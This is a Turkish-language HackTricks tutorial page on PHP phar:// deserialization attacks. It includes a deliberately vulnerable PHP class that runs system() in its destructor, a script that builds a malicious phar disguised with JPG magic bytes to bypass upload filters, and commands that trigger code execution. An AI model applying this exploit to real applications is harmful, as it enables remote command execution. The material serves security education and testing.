phar:// deserialization

HackTricks'i Destekleyin

Bug bounty ipucu: Intigriti'ye kaydolun, hackers tarafından, hackers için oluşturulmuş premium bir bug bounty platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

Phar dosyaları (PHP Archive) serileştirilmiş formatta meta veri içerir, bu nedenle, ayrıştırıldığında bu meta veri deserileştirilir ve PHP kodu içinde bir deserileştirme açığını kötüye kullanmayı deneyebilirsiniz.

Bu özelliğin en iyi yanı, bu deserileştirmenin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi PHP kodunu eval etmeyen PHP fonksiyonları kullanıldığında bile gerçekleşmesidir.

Yani, bir PHP web uygulamasının phar:// protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir sınıf bulursunuz:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Yüklenildiğinde bu sınıfı kötüye kullanarak rastgele komutlar çalıştıracak bir phar dosyası oluşturabilirsiniz:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

JPG'nin sihirli baytlarının (\xff\xd8\xff) phar dosyasının başına eklendiğine dikkat edin, bu mümkün dosya yükleme kısıtlamalarını aşmak için. test.phar dosyasını şu şekilde derleyin:

php --define phar.readonly=0 create_phar.php

Ve zayıf kodu kötüye kullanarak whoami komutunu çalıştırın:

php vuln.php

Referanslar

Hata ödülü ipucu: Intigriti için kayıt olun, hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata ödülü platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

HackTricks'i Destekleyin

Last updated